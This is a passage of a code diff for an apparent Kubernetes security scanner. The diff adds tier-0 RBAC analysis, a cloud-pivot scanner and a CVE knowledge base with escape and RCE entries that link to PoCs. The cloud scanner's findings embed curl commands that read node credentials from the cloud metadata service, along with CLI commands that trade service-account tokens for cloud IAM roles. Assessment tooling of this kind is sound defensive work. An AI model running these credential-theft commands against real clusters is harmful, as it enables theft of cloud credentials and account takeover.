+ ) + findings.append(Finding( + id="AP-TIER0", + title=f"Effective cluster-admin (tier-0): {principal}", + description=desc, + severity="critical", + category="AttackPath", + resource=principal, + exploitability=headline[1], + exploit=headline[2], + impact=headline[3], + attack_techniques=all_techniques, + remediation=( + "Treat this principal as tier-0. Remove the crown-jewel verbs unless absolutely required, " + "split duties, and put any unavoidable holders under audit + alerting. " + "Crown-jewel verbs: CSR create+approve, nodes/proxy, cluster-wide pods/exec, secrets get+list, " + "serviceaccounts/token, webhook config writes, impersonate/escalate/bind, nodes patch." + ), + references=[ + "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping", + "https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/", + ], + )) + + return findings diff --git a/kuberoast/cli.py b/kuberoast/cli.py index 174c605..a19f607 100644 --- a/kuberoast/cli.py +++ b/kuberoast/cli.py @@ -13,8 +13,9 @@ list_all_configmaps, list_all_deployments, list_all_statefulsets, list_all_daemonsets, list_all_jobs, list_all_cronjobs, list_validating_webhooks, list_mutating_webhooks, + list_all_service_accounts, list_all_network_policies, get_server_version, ) -from .utils.findings import Finding +from .utils.findings import Finding, HYGIENE_FINDING_IDS from .utils.workloads import iter_workload_pods, relabel_workload_findings from .scanners.pods import scan_pod_security from .scanners.nodes import scan_nodes @@ -26,10 +27,14 @@ from .scanners.policy import scan_policy_engines from .scanners.escapes import scan_escapes from .scanners.configmaps import scan_configmaps +from .scanners.podsecrets import scan_pod_credentials from .scanners.tokens import scan_tokens from .scanners.webhooks import scan_webhooks +from .scanners.cloud import scan_cloud_pivots +from .scanners.cve import scan_cve, find_ingress_images from .attackpaths.rbac_escalation import analyze_attack_paths from .attackpaths.sa_chains import analyze_sa_chains +from .attackpaths.tier_zero import analyze_tier_zero from .reporting import json as json_report, text as text_report, html as html_report logger = logging.getLogger("kuberoast") @@ -47,11 +52,12 @@ def _scan_pod_collection(pods, kind: str = "Pod") -> List[Finding]: - """Run pod-level scanners (security + escape) across a collection of pod-like objects.""" + """Run pod-level scanners (security + escape + hardcoded creds) across pod-like objects.""" out: List[Finding] = [] for p in pods: out.extend(scan_pod_security(p)) out.extend(scan_escapes(p)) + out.extend(scan_pod_credentials(p)) return out @@ -65,6 +71,7 @@ def run_cluster_scan(args) -> List[Finding]: networking = clients["networking"] apiext = clients["apiextensions"] admission = clients["admission"] + version_api = clients["version"] findings: List[Finding] = [] @@ -75,8 +82,11 @@ def run_cluster_scan(args) -> List[Finding]: # Workloads: extract pod templates and run pod-level scanners on each logger.info("Scanning workload templates (Deployment/StatefulSet/DaemonSet/Job/CronJob)...") client_for = {"apps": apps, "batch": batch} + deployments_cache = [] for kind, client_key, lister in WORKLOAD_LISTERS: workloads = lister(client_for[client_key], namespace=ns) + if kind == "Deployment": + deployments_cache = workloads for synth_pod, _kind, name in iter_workload_pods(workloads, kind): wl_findings = _scan_pod_collection([synth_pod]) findings.extend(relabel_workload_findings(wl_findings, kind, name)) @@ -89,9 +99,12 @@ def run_cluster_scan(args) -> List[Finding]: roles, croles, rbs, crbs = list_rbac(rbac_api, namespace=ns) findings.extend(scan_rbac(roles, croles, rbs, crbs)) + # Nodes are needed for cloud-pivot + CVE correlation regardless of probing. + logger.info("Listing nodes...") + nodes = list_all_nodes(core) + if not args.skip_nodes: - logger.info("Scanning nodes (TCP + active kubelet probes)...") - nodes = list_all_nodes(core) + logger.info("Probing nodes (TCP + active kubelet probes)...") findings.extend(scan_nodes(nodes)) # legacy TCP probe (kept for backwards-compat) if not args.skip_kubelet_probe: findings.extend(scan_kubelet(nodes)) @@ -112,6 +125,20 @@ def run_cluster_scan(args) -> List[Finding]: findings.extend(analyze_attack_paths(roles, croles, rbs, crbs, pods)) logger.info("Analyzing multi-hop RBAC escalation chains...") findings.extend(analyze_sa_chains(roles, croles, rbs, crbs, pods)) + logger.info("Identifying tier-0 (effective cluster-admin) principals...") + findings.extend(analyze_tier_zero(roles, croles, rbs, crbs, pods)) + + if not args.skip_cloud: + logger.info("Modeling cloud-account pivots (IMDS + workload identity)...") + service_accounts = list_all_service_accounts(core, namespace=ns) + netpols = list_all_network_policies(networking, namespace=ns) + findings.extend(scan_cloud_pivots(nodes, service_accounts, netpols, nslist)) + + if not args.skip_cve: + logger.info("Correlating component versions against known-exploitable CVEs...") + server_version = get_server_version(version_api) + ingress_images = find_ingress_images(pods, deployments_cache) + findings.extend(scan_cve(server_version=server_version, nodes=nodes, ingress_images=ingress_images)) logger.info("Scanning services...") services = list_all_services(core, namespace=ns) @@ -166,6 +193,19 @@ def run_manifest_scan(path: str) -> List[Finding]: findings.extend(scan_rbac(roles, croles, rbs, crbs)) findings.extend(analyze_attack_paths(roles, croles, rbs, crbs, pods)) findings.extend(analyze_sa_chains(roles, croles, rbs, crbs, pods)) + findings.extend(analyze_tier_zero(roles, croles, rbs, crbs, pods)) + + # Cloud pivots: ServiceAccount federation annotations are visible in manifests. + service_accounts = grouped.get("ServiceAccount", []) + netpols = grouped.get("NetworkPolicy", []) + if service_accounts: + # No nodes in manifest mode → provider unknown; SA federation still flagged. + findings.extend(scan_cloud_pivots([], service_accounts, netpols, grouped.get("Namespace", []))) + + # CVE correlation: only ingress-nginx image tags are knowable offline. + ingress_images = find_ingress_images(pods, grouped.get("Deployment", [])) + if ingress_images: + findings.extend(scan_cve(server_version=None, nodes=None, ingress_images=ingress_images)) # Network services = grouped.get("Service", []) @@ -220,20 +260,23 @@ def _print_banner(): EPILOG = textwrap.dedent("""\ Examples: - # Quick interactive scan of current cluster context + # Offensive triage of the current context (attack paths lead, lint hidden) kuberoast --report text + # Only what's exploitable right now + kuberoast --min-exploitability easy --report text + + # Hunt the keys to the kingdom: escapes, escalation chains, tier-0, cloud pivots + kuberoast --report json | jq '[.[] | select(.category | IN("Escape","AttackPath","CloudPivot","CVE"))]' + # Pre-deploy: scan a directory of YAML/JSON manifests - kuberoast --manifests ./k8s/ + kuberoast --manifests ./k8s/ --report text # CI gate: fail the build on critical, machine-readable output kuberoast --fail-on critical --report json > scan.json - # Operator triage: only show stuff an attacker can actually exploit today - kuberoast --min-exploitability easy --report text - - # Big cluster: skip the slow probes - kuberoast --skip-kubelet-probe --skip-configmaps -n prod + # Add back the defense-in-depth / compliance findings + kuberoast --include-hygiene --report text Find docs and recent research at https://snailsploit.com/tools """) @@ -256,8 +299,12 @@ def main(argv=None) -> int: help="Skip active kubelet HTTP probing (still does TCP-port check)") ap.add_argument("--skip-secrets", action="store_true", help="Skip secret heuristics + token analysis") ap.add_argument("--skip-configmaps", action="store_true", help="Skip ConfigMap credential hunt") - ap.add_argument("--skip-attack-paths", action="store_true", help="Skip RBAC attack-path analysis") + ap.add_argument("--skip-attack-paths", action="store_true", help="Skip RBAC attack-path + tier-0 analysis") ap.add_argument("--skip-webhooks", action="store_true", help="Skip admission webhook audit") + ap.add_argument("--skip-cloud", action="store_true", help="Skip cloud-pivot analysis (IMDS + workload identity)") + ap.add_argument("--skip-cve", action="store_true", help="Skip version→CVE correlation") + ap.add_argument("--include-hygiene", action="store_true", + help="Include defense-in-depth / compliance findings (off by default — these are hidden so attack paths lead)") ap.add_argument("--manifests", help="Directory or file of YAML/JSON manifests to scan offline (shift-left mode)") ap.add_argument("--provider", choices=["generic", "eks", "aks", "gke"], default="generic", help="Cloud provider for context-aware remediation advice") @@ -300,6 +347,11 @@ def main(argv=None) -> int: traceback.print_exc(file=sys.stderr) return 2 + # Drop hygiene/compliance noise unless explicitly requested. This is the + # core "no kiddie stuff" default: lead with attack paths, not lint. + if not args.include_hygiene: + findings = [f for f in findings if f.id not in HYGIENE_FINDING_IDS] + # Filter by minimum severity min_sev = SEVERITY_ORDER[args.min_severity] findings = [f for f in findings if SEVERITY_ORDER.get(f.severity, 0) >= min_sev] diff --git a/kuberoast/scanners/cloud.py b/kuberoast/scanners/cloud.py new file mode 100644 index 0000000..4b40bd4 --- /dev/null +++ b/kuberoast/scanners/cloud.py @@ -0,0 +1,297 @@ +"""Cloud account pivot analysis. + +The single most impactful real-world Kubernetes escalation is rarely +"pod → cluster-admin". It's "pod → cloud account". Two mechanisms: + + 1. IMDS theft. Every pod that can reach the node's Instance Metadata + Service (169.254.169.254) can request the node's instance-role + credentials. On EKS/GKE/AKS the node role is frequently + over-permissioned (ECR pull, S3, SSM, autoscaling, sometimes *). + With IMDSv1 (or IMDSv2 reachable from a hostNetwork pod) this is a + single curl. The control that stops it is an egress NetworkPolicy + (or hop-limit=1 + IMDSv2). Most clusters have neither. + + 2. Federated workload identity. IRSA (EKS), Workload Identity (GKE), + and Azure Workload Identity bind a Kubernetes ServiceAccount to a + cloud IAM role/principal. Anyone who can run as that SA — directly, + or via an RBAC escalation chain — inherits the cloud role. The SA + annotation tells you exactly which role. + +This scanner models both as concrete pivots with the curl/CLI an +operator would run. It needs: nodes (for provider + IMDS posture), +service accounts (for federation annotations), and network policies +(to determine whether egress to IMDS is actually blocked). +""" +from typing import List, Dict, Set, Optional +from ..utils.findings import Finding + +IMDS_IP = "169.254.169.254" +IMDS_CIDR = "169.254.169.254/32" +LINK_LOCAL = "169.254.0.0/16" + +# SA annotations that bind a Kubernetes SA to a cloud identity. +IRSA_ANNOTATION = "eks.amazonaws.com/role-arn" +GKE_WI_ANNOTATION = "iam.gke.io/gcp-service-account" +AZURE_WI_ANNOTATION = "azure.workload.identity/client-id" +AZURE_WI_LABEL = "azure.workload.identity/use" + + +def _detect_provider(nodes) -> Optional[str]: + """Best-effort cloud provider from node providerID / labels.""" + for n in nodes: + spec = getattr(n, "spec", None) + provider_id = getattr(spec, "provider_id", None) if spec else None + if provider_id: + pid = provider_id.lower() + if pid.startswith("aws:"): + return "aws" + if pid.startswith("gce:") or pid.startswith("gke:"): + return "gcp" + if pid.startswith("azure:"): + return "azure" + labels = getattr(getattr(n, "metadata", None), "labels", None) or {} + joined = " ".join(labels.keys()).lower() + if "eks.amazonaws.com" in joined or "node.kubernetes.io/instance-type" in joined and "aws" in joined: + return "aws" + if "cloud.google.com" in joined or "iam.gke.io" in joined: + return "gcp" + if "kubernetes.azure.com" in joined or "agentpool" in joined: + return "azure" + return None + + +# Per-provider IMDS exploitation recipe. +_IMDS_RECIPE = { + "aws": ( + "AWS EC2 IMDS — steal the node's instance-role credentials", + "# IMDSv1 (single request):\n" + "curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/\n" + "curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/\n" + "# IMDSv2 (token first):\n" + "TOKEN=$(curl -sX PUT 'http://169.254.169.254/latest/api/token' -H 'X-aws-ec2-metadata-token-ttl-seconds: 60')\n" + "curl -s -H \"X-aws-ec2-metadata-token: $TOKEN\" http://169.254.169.254/latest/meta-data/iam/security-credentials/", + "Node EC2 instance-role credentials. Typically grants ECR pull, EBS, " + "autoscaling, SSM, and frequently broad S3 — pivot from pod into the AWS account.", + ["T1552.005"], + ), + "gcp": ( + "GCP IMDS — steal the node service-account access token", + "curl -s -H 'Metadata-Flavor: Google' " + "'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token'\n" + "# enumerate scopes:\n" + "curl -s -H 'Metadata-Flavor: Google' " + "'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scopes'", + "Node GCE service-account OAuth token. Default node SA often has " + "broad project scope (GCS, GCR/Artifact Registry, logging) — pivot into the GCP project.", + ["T1552.005"], + ), + "azure": ( + "Azure IMDS — steal a managed-identity access token", + "curl -s -H 'Metadata: true' " + "'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/'", + "Node managed-identity token for ARM (or other resources). Pivot into " + "the Azure subscription with the node identity's role assignments.", + ["T1552.005"], + ), + None: ( + "Cloud IMDS — steal node identity credentials", + "# AWS: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/\n" + "# GCP: curl -H 'Metadata-Flavor: Google' http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token\n" + "# Azure: curl -H 'Metadata: true' 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/'", + "Node cloud identity credentials — pivot from the pod into the cloud account.", + ["T1552.005"], + ), +} + + +def _egress_blocks_imds(netpols, namespace: str) -> bool: + """True if some NetworkPolicy in `namespace` plausibly restricts egress. + + We can't perfectly evaluate CIDR exclusions, so we use a conservative + heuristic: a policy that selects all pods ({} podSelector) and has an + Egress policyType is treated as 'egress is constrained here'. Absent + that, we assume IMDS is reachable (the common, dangerous default). + """ + for np in netpols: + meta = getattr(np, "metadata", None) + if not meta or getattr(meta, "namespace", None) != namespace: + continue + spec = getattr(np, "spec", None) + if not spec: + continue + policy_types = getattr(spec, "policy_types", None) or [] + has_egress_type = any(pt == "Egress" for pt in policy_types) + # Selecting all pods? + pod_selector = getattr(spec, "pod_selector", None) + ml = getattr(pod_selector, "match_labels", None) if pod_selector else None + me = getattr(pod_selector, "match_expressions", None) if pod_selector else None + selects_all = (pod_selector is not None) and not ml and not me + if has_egress_type and selects_all: + return True + return False + + +def scan_cloud_pivots(nodes, service_accounts, netpols, namespaces) -> List[Finding]: + findings: List[Finding] = [] + provider = _detect_provider(nodes or []) + + # ---- 1. IMDS reachability (per-namespace egress posture) ---- + title, exploit, impact, techniques = _IMDS_RECIPE.get(provider, _IMDS_RECIPE[None]) + ns_names = [getattr(getattr(ns, "metadata", None), "name", None) for ns in (namespaces or [])] + ns_names = [n for n in ns_names if n] + # If we couldn't list namespaces, still emit a single cluster-wide finding. + targets = ns_names or [None] + + open_namespaces = [] + for ns in targets: + if ns is not None and _egress_blocks_imds(netpols or [], ns): + continue + open_namespaces.append(ns) + + if provider is not None and open_namespaces: + # Emit one consolidated finding listing the exposed namespaces. + shown = [n for n in open_namespaces if n][:25] + ns_desc = ( + f"{len(open_namespaces)} namespace(s) have no egress NetworkPolicy constraining " + f"traffic to the metadata service" + if any(n is not None for n in open_namespaces) + else "the cluster has no egress NetworkPolicy constraining traffic to the metadata service" + ) + findings.append(Finding( + id="CLOUD-IMDS-REACHABLE", + title=f"IMDS reachable from pods → {title}", + description=( + f"Cloud provider detected: {provider}. {ns_desc}. Any workload that achieves RCE " + f"can reach {IMDS_IP} and request the node's identity credentials. " + + (f"Exposed namespaces: {', '.join(shown)}." if shown else "") + ), + severity="high", + category="CloudPivot", + resource=f"provider/{provider}", + exploitability="easy", + exploit=exploit, + impact=impact, + attack_techniques=techniques, + remediation=( + "Block egress to 169.254.169.254/32 with a default-deny egress NetworkPolicy " + "(or Cilium/Calico global policy). On AWS, also enforce IMDSv2 with " + "HttpPutResponseHopLimit=1 so containers (one hop from the host) cannot reach IMDS. " + "On GKE, enable Workload Identity and Metadata Concealment. On AKS, restrict IMDS via netpol." + ), + references=[ + "https://kubernetes.io/docs/concepts/services-networking/network-policies/", + "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html", + "https://attack.mitre.org/techniques/T1552/005/", + ], + )) + + # ---- 2. Federated workload identity (SA → cloud role) ---- + for sa in (service_accounts or []): + meta = getattr(sa, "metadata", None) + if not meta: + continue + name = getattr(meta, "name", "?") + ns = getattr(meta, "namespace", None) + annotations = getattr(meta, "annotations", None) or {} + labels = getattr(meta, "labels", None) or {} + + role_arn = annotations.get(IRSA_ANNOTATION) + if role_arn: + findings.append(Finding( + id="CLOUD-IRSA", + title="ServiceAccount federated to AWS IAM role (IRSA)", + description=( + f"ServiceAccount {ns}/{name} is bound to AWS IAM role {role_arn} via IRSA. " + "Any principal that can run as this SA — directly or through an RBAC escalation " + "chain — assumes this IAM role and inherits its AWS permissions." + ), + severity="medium", + category="CloudPivot", + namespace=ns, + resource=f"serviceaccount/{name}", + exploitability="easy", + exploit=( + "# From a pod running as this SA (token at the projected path):\n" + "TOKEN=$(cat $AWS_WEB_IDENTITY_TOKEN_FILE)\n" + f"aws sts assume-role-with-web-identity --role-arn {role_arn} " + "--role-session-name pwn --web-identity-token \"$TOKEN\"\n" + "aws sts get-caller-identity" + ), + impact=f"Assumption of AWS IAM role {role_arn}. Blast radius = that role's policy.", + attack_techniques=["T1550.001", "T1078.004"], + remediation=( + "Scope the IAM role's trust policy to the exact SA " + f"(condition: system:serviceaccount:{ns}:{name}) and apply least privilege to the role. " + "Audit who can run-as / exec / create pods in this namespace." + ), + references=[ + "https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html", + "https://attack.mitre.org/techniques/T1550/001/", + ], + )) + + gsa = annotations.get(GKE_WI_ANNOTATION) + if gsa: + findings.append(Finding( + id="CLOUD-GKE-WI", + title="ServiceAccount federated to GCP service account (Workload Identity)", + description=( + f"ServiceAccount {ns}/{name} maps to GCP service account {gsa} via GKE Workload Identity. " + "Running as this KSA grants that GCP SA's project permissions." + ), + severity="medium", + category="CloudPivot", + namespace=ns, + resource=f"serviceaccount/{name}", + exploitability="easy", + exploit=( + "# From a pod running as this SA, the metadata endpoint returns the GSA token:\n" + "curl -s -H 'Metadata-Flavor: Google' " + "'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token'\n" + "gcloud auth print-access-token # if gcloud present" + ), + impact=f"Access as GCP service account {gsa} — pivot into the GCP project with its IAM bindings.", + attack_techniques=["T1550.001", "T1078.004"], + remediation=( + "Apply least privilege to the GCP service account. Restrict who can run-as / exec / " + "create pods using this KSA. Prefer per-workload GSAs over shared ones." + ), + references=[ + "https://cloud.google.com/kubernetes-engine/docs/concepts/workload-identity", + "https://attack.mitre.org/techniques/T1550/001/", + ], + )) + + if annotations.get(AZURE_WI_ANNOTATION) or labels.get(AZURE_WI_LABEL) == "true": + client_id = annotations.get(AZURE_WI_ANNOTATION, "") + findings.append(Finding( + id="CLOUD-AZURE-WI", + title="ServiceAccount federated to Azure managed identity (Workload Identity)", + description=( + f"ServiceAccount {ns}/{name} is configured for Azure Workload Identity " + f"(client-id {client_id}). Running as this SA yields tokens for that Azure identity." + ), + severity="medium", + category="CloudPivot", + namespace=ns, + resource=f"serviceaccount/{name}", + exploitability="easy", + exploit=( + "# Federated token is projected into the pod; exchange it for an ARM token:\n" + "az login --service-principal -u $AZURE_CLIENT_ID " + "--tenant $AZURE_TENANT_ID --federated-token \"$(cat $AZURE_FEDERATED_TOKEN_FILE)\"\n" + "az account show" + ), + impact="Access as the federated Azure managed identity — pivot into the subscription via its role assignments.", + attack_techniques=["T1550.001", "T1078.004"], + remediation=( + "Apply least privilege to the managed identity's role assignments and scope the federated " + "credential subject to this exact SA. Restrict run-as / exec / pod-create in this namespace." + ), + references=[ + "https://azure.github.io/azure-workload-identity/docs/", + "https://attack.mitre.org/techniques/T1550/001/", + ], + )) + + return findings diff --git a/kuberoast/scanners/cve.py b/kuberoast/scanners/cve.py new file mode 100644 index 0000000..4a20aaa --- /dev/null +++ b/kuberoast/scanners/cve.py @@ -0,0 +1,396 @@ +"""Known-exploitable CVE correlation. + +Maps the actual versions running in the cluster — apiserver, kubelet, +container runtime, kernel, and ingress-nginx — against a curated set of +high-impact, attacker-relevant CVEs (container escapes, RCE, privilege +escalation). This is offline and deterministic: no phoning home, works +in restricted assessment networks. + +Curation bar: a CVE earns a place here only if it yields code execution, +container escape, or privilege escalation in a realistic cluster. We do +not list DoS or info-leak noise. Each entry carries the public exploit +reference, EPSS, and CISA KEV status (verified against live feeds at +authoring time, 2026-06). + +Version data: + * server gitVersion → VersionApi / Deployment image + * node.status.nodeInfo.kubeletVersion / containerRuntimeVersion / kernelVersion + * ingress-nginx controller image tag +""" +from typing import List, Optional, Callable, Dict, Tuple +from ..utils.findings import Finding +from ..utils import versions as V + +Version = V.Version + + +def _between(lo, hi): + return lambda v: V.in_range(v, lo, hi) + + +def _below(hi): + return lambda v: V.lt(v, hi) + + +def _at_or_below(hi): + return lambda v: V.lte(v, hi) + + +# Each entry: component, predicate(version)->bool, finding kwargs. +# `component` is one of: kubernetes, kubelet, runtime:, kernel, ingress-nginx +class _CVE: + def __init__(self, component, predicate, cve, title, severity, exploitability, + impact, exploit, techniques, references, kev=False, epss=None, + runtime=None, precondition=None): + self.component = component + self.predicate = predicate + self.cve = cve + self.title = title + self.severity = severity + self.exploitability = exploitability + self.impact = impact + self.exploit = exploit + self.techniques = techniques + self.references = references + self.kev = kev + self.epss = epss + self.runtime = runtime # for runtime CVEs, the runtime name e.g. 'runc' + self.precondition = precondition + + +KB: List[_CVE] = [ + # ---- Container runtime: runc ---- + _CVE( + component="runtime:runc", + predicate=_at_or_below((1, 1, 11)), + cve="CVE-2024-21626", + title="runc 'Leaky Vessels' — WORKDIR file-descriptor container escape", + severity="critical", exploitability="easy", + impact="Container escape to host filesystem via leaked runc fd. With a crafted image or " + "WORKDIR, an attacker reads/writes the host and escapes the container.", + exploit="# Build/run an image with WORKDIR pointing through /proc/self/fd/ to the host root,\n" + "# or exec into a container whose process cwd is a leaked host fd. PoC:\n" + "# https://github.com/NitroCao/CVE-2024-21626", + techniques=["T1611"], + references=[ + "https://nvd.nist.gov/vuln/detail/CVE-2024-21626", + "https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv", + ], + epss=0.05, + ), + _CVE( + component="runtime:runc", + predicate=_below((1, 0, 0)), # rc-era; <1.0.0 covers <=1.0-rc6 + cve="CVE-2019-5736", + title="runc /proc/self/exe overwrite — host runc binary replacement", + severity="critical", exploitability="easy", + impact="Container escape: a malicious container overwrites the host runc binary, gaining " + "root code execution on the node the next time any container is started/exec'd.", + exploit="# Classic /proc/self/exe overwrite. PoC: https://github.com/Frichetten/CVE-2019-5736-PoC", + techniques=["T1611"], + references=["https://nvd.nist.gov/vuln/detail/CVE-2019-5736"], + epss=0.59, + ), + + # ---- Container runtime: containerd ---- + _CVE( + component="runtime:containerd", + predicate=_below((1, 4, 3)), # also <1.3.9 on the 1.3 line + cve="CVE-2020-15257", + title="containerd-shim abstract-socket exposure (host-net escape)", + severity="high", exploitability="moderate", + impact="A hostNetwork container can reach the containerd-shim API over its abstract Unix " + "socket and instruct it to spawn a process on the host — container escape.", + exploit="# Reach the shim's abstract socket from a hostNetwork pod. PoC tooling:\n" + "# https://github.com/cdk-team/CDK (run --shim-pwn)", + techniques=["T1611"], + references=["https://nvd.nist.gov/vuln/detail/CVE-2020-15257"], + epss=0.13, + precondition="Requires a hostNetwork container (shares the abstract socket namespace).", + ), + + # ---- kube-apiserver ---- + _CVE( + component="kubernetes", + predicate=_below((1, 10, 11)), # plus 1.11<1.11.5 and 1.12<1.12.3 handled below + cve="CVE-2018-1002105", + title="kube-apiserver proxy upgrade — unauthenticated backend escalation", + severity="critical", exploitability="easy", + impact="Crafted upgrade requests let an attacker tunnel arbitrary authenticated requests " + "through the apiserver to backends (kubelets, aggregated APIs) using the apiserver's " + "own TLS identity — cluster takeover.", + exploit="# Send an upgrade request to an aggregated API / pod exec endpoint, then reuse the\n" + "# established backend connection. Background: https://github.com/evict/poc_CVE-2018-1002105", + techniques=["T1068", "T1210"], + references=["https://nvd.nist.gov/vuln/detail/CVE-2018-1002105"], + epss=0.90, + ), + _CVE( + component="kubernetes", + predicate=_between((1, 11, 0), (1, 11, 5)), + cve="CVE-2018-1002105", + title="kube-apiserver proxy upgrade — unauthenticated backend escalation", + severity="critical", exploitability="easy", + impact="See above — affects the 1.11 line below 1.11.5.", + exploit="https://github.com/evict/poc_CVE-2018-1002105", + techniques=["T1068", "T1210"], + references=["https://nvd.nist.gov/vuln/detail/CVE-2018-1002105"], + epss=0.90, + ), + _CVE( + component="kubernetes", + predicate=_between((1, 12, 0), (1, 12, 3)), + cve="CVE-2018-1002105", + title="kube-apiserver proxy upgrade — unauthenticated backend escalation", + severity="critical", exploitability="easy", + impact="See above — affects the 1.12 line below 1.12.3.", + exploit="https://github.com/evict/poc_CVE-2018-1002105", + techniques=["T1068", "T1210"], + references=["https://nvd.nist.gov/vuln/detail/CVE-2018-1002105"], + epss=0.90, + ), + _CVE( + component="kubernetes", + predicate=_below((1, 18, 6)), # fixed 1.16.13/1.17.9/1.18.6; approximate cutoff + cve="CVE-2020-8559", + title="apiserver→kubelet redirect — cross-node pod takeover", + severity="high", exploitability="moderate", + impact="A compromised node can return a redirect to an upgrade request, causing the apiserver " + "to replay the request (with its credentials) against another node's kubelet — lateral " + "movement to pods on other nodes.", + exploit="# Requires control of one node/kubelet to return crafted redirects to exec/attach/portforward.", + techniques=["T1610", "T1021"], + references=["https://nvd.nist.gov/vuln/detail/CVE-2020-8559"], + epss=0.51, + precondition="Requires prior compromise of at least one node.", + ), + _CVE( + component="kubernetes", + predicate=_below((1, 22, 2)), # subPath fix line: 1.19.16/1.20.11/1.21.5/1.22.2 + cve="CVE-2021-25741", + title="kubelet subPath symlink — host file read/write & escape", + severity="high", exploitability="moderate", + impact="A volume subPath symlink race lets a pod mount arbitrary host paths into the container, " + "exposing host files and enabling escape on affected kubelets.", + exploit="# Race a subPath symlink swap during volume mount. Background:\n" + "# https://github.com/kubernetes/kubernetes/issues/104980", + techniques=["T1611", "T1006"], + references=["https://nvd.nist.gov/vuln/detail/CVE-2021-25741"], + epss=0.33, + precondition="Requires ability to create pods with subPath volume mounts.", + ), + + # ---- Kernel (caveated: distros backport; verify) ---- + _CVE( + component="kernel", + predicate=_below((5, 16, 2)), + cve="CVE-2022-0185", + title="Linux fsconfig heap overflow — container escape / LPE (CISA KEV)", + severity="critical", exploitability="moderate", + impact="Heap overflow in legacy_parse_param reachable from a user namespace with CAP_SYS_ADMIN. " + "Yields kernel LPE and container escape. Actively exploited (CISA KEV).", + exploit="# Requires CAP_SYS_ADMIN in a (user) namespace — default in many runtimes via unshare.\n" + "# PoC: https://github.com/Crusaders-of-Rust/CVE-2022-0185", + techniques=["T1611", "T1068"], + references=["https://nvd.nist.gov/vuln/detail/CVE-2022-0185"], + kev=True, epss=0.02, + precondition="Requires CAP_SYS_ADMIN in a user namespace; distro may have backported the fix — verify.", + ), + _CVE( + component="kernel", + predicate=_below((6, 8, 0)), + cve="CVE-2024-1086", + title="Linux nf_tables use-after-free — local privilege escalation (CISA KEV)", + severity="high", exploitability="moderate", + impact="UAF in netfilter nf_tables gives kernel LPE (root on the node). Reachable from an " + "unprivileged user namespace with CAP_NET_ADMIN. Actively exploited (CISA KEV).", + exploit="# Needs unprivileged user namespaces (kernel.unprivileged_userns_clone=1) + nf_tables.\n" + "# PoC: https://github.com/Notselwyn/CVE-2024-1086", + techniques=["T1068"], + references=["https://nvd.nist.gov/vuln/detail/CVE-2024-1086"], + kev=True, epss=0.85, + precondition="Requires unprivileged user namespaces enabled; many distros backported the fix — verify kernel build date.", + ), + + # ---- ingress-nginx ---- + _CVE( + component="ingress-nginx", + predicate=lambda v: V.lt(v, (1, 11, 5)) or V.in_range(v, (1, 12, 0), (1, 12, 1)), + cve="CVE-2025-1974", + title="ingress-nginx 'IngressNightmare' — unauthenticated RCE in admission controller", + severity="critical", exploitability="easy", + impact="Unauthenticated attackers with pod-network access to the admission controller inject " + "NGINX config and execute code in the ingress-nginx pod — which holds a token that can " + "read ALL cluster Secrets. Effective cluster takeover. EPSS ~0.91.", + exploit="# Send a crafted AdmissionReview to the controller's webhook port from inside the pod network.\n" + "# Advisory + PoC: https://github.com/kubernetes/kubernetes/issues/131009", + techniques=["T1190", "T1610"], + references=[ + "https://github.com/kubernetes/ingress-nginx/security/advisories/GHSA-22qq-3xwm-r5x4", + "https://nvd.nist.gov/vuln/detail/CVE-2025-1974", + ], + epss=0.91, + ), + _CVE( + component="ingress-nginx", + predicate=_below((1, 9, 0)), + cve="CVE-2023-5044", + title="ingress-nginx annotation injection (nginx.ingress.kubernetes.io/permanent-redirect) → RCE", + severity="high", exploitability="moderate", + impact="CRLF/config injection via ingress annotations lets a tenant with Ingress-create rights " + "run code in the ingress controller and read its serviceaccount token.", + exploit="# Craft a malicious annotation on an Ingress you can create. Background:\n" + "# https://github.com/kubernetes/ingress-nginx/issues/10571", + techniques=["T1190"], + references=["https://nvd.nist.gov/vuln/detail/CVE-2023-5044"], + epss=0.11, + precondition="Requires the ability to create/annotate Ingress objects.", + ), + _CVE( + component="ingress-nginx", + predicate=_below((1, 0, 1)), + cve="CVE-2021-25742", + title="ingress-nginx snippet annotation — read controller secrets / RCE", + severity="high", exploitability="moderate", + impact="configuration-snippet annotations allow retrieving the controller's serviceaccount " + "token and other Secrets — pivot to broad cluster access.", + exploit="# Add a configuration-snippet annotation that returns the SA token.", + techniques=["T1190"], + references=["https://nvd.nist.gov/vuln/detail/CVE-2021-25742"], + epss=0.006, + precondition="Requires Ingress-create rights and allow-snippet-annotations enabled.", + ), +] + + +def _emit(entry: _CVE, version: Version, resource: str, version_str: str) -> Finding: + tags = [] + if entry.kev: + tags.append("CISA-KEV") + if entry.epss is not None: + tags.append(f"EPSS={entry.epss:.2f}") + suffix = f" [{', '.join(tags)}]" if tags else "" + desc = ( + f"{resource} runs {entry.component} {version_str}, affected by {entry.cve}.{suffix}\n" + f"{entry.impact}" + ) + if entry.precondition: + desc += f"\nPrecondition: {entry.precondition}" + md: Dict[str, str] = {"cve": entry.cve, "version": version_str} + if entry.kev: + md["kev"] = "true" + if entry.epss is not None: + md["epss"] = f"{entry.epss:.4f}" + return Finding( + id=f"CVE-{entry.cve.split('-', 1)[1]}", + title=entry.title, + description=desc, + severity=entry.severity, + category="CVE", + resource=resource, + metadata=md, + exploitability=entry.exploitability, + exploit=entry.exploit, + impact=entry.impact, + attack_techniques=entry.techniques, + remediation=f"Upgrade {entry.component} past the fixed version for {entry.cve}.", + references=entry.references, + ) + + +def _match_component(component: str, version: Optional[Version], resource: str, + version_str: str, runtime_name: Optional[str] = None) -> List[Finding]: + out: List[Finding] = [] + if version is None: + return out + for entry in KB: + if entry.component != 